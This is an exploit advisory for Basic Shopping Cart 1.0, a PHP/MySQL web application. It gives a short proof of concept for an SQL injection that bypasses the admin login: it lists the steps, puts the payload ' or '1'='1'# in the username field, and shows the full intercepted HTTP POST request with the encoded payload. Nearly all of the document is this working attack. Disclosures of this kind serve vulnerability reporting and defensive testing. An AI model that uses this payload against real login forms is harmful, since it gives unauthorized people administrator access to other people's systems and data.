Basic Shopping Cart 1.0 SQL Injection

`# Exploit Title: Basic Shopping Cart 1.0 - Authentication Bypass  
# Date: 2021-04-03  
# Exploit Author: Viren Saroha (illusion)  
# Vendor Homepage: https://www.sourcecodester.com/php/10964/basic-shopping-cartphpmysql.html  
# Software Link: https://www.sourcecodester.com/download-code?nid=10964&title=Basic+Shopping+Cart+using+PHP%2FMySQL+with+Source+Code  
# Version: 1.0  
# Tested on: Windows 10/Kali Linux  
  
POC  
  
Step 1 - Go to url http://localhost/EdgeSketch/index.php and Click on Admin  
Step 2 – Enter anything in username and password  
Step 3 – Click on Login and capture the request in burpsuite  
Step4 – Change the username to ' or '1'='1'#  
Step 5 – Click forward and now you will be logged in as admin.  
  
REQUEST  
  
POST /EdgeSketch/adminlogin.php HTTP/1.1  
Host: localhost  
Content-Length: 77  
Cache-Control: max-age=0  
Upgrade-Insecure-Requests: 1  
Origin: http://localhost  
Content-Type: application/x-www-form-urlencoded  
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36  
(KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36  
Accept:  
text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9  
Referer: http://localhost/EdgeSketch/index.php  
Accept-Encoding: gzip, deflate  
Accept-Language: en-US,en;q=0.9  
Cookie: PHPSESSID=6b7072bb40c321cb336aacef057a0876  
Connection: close  
  
admin_username=%27+or+%271%27%3D%271%27%23&admin_password=random&admin_login=  
`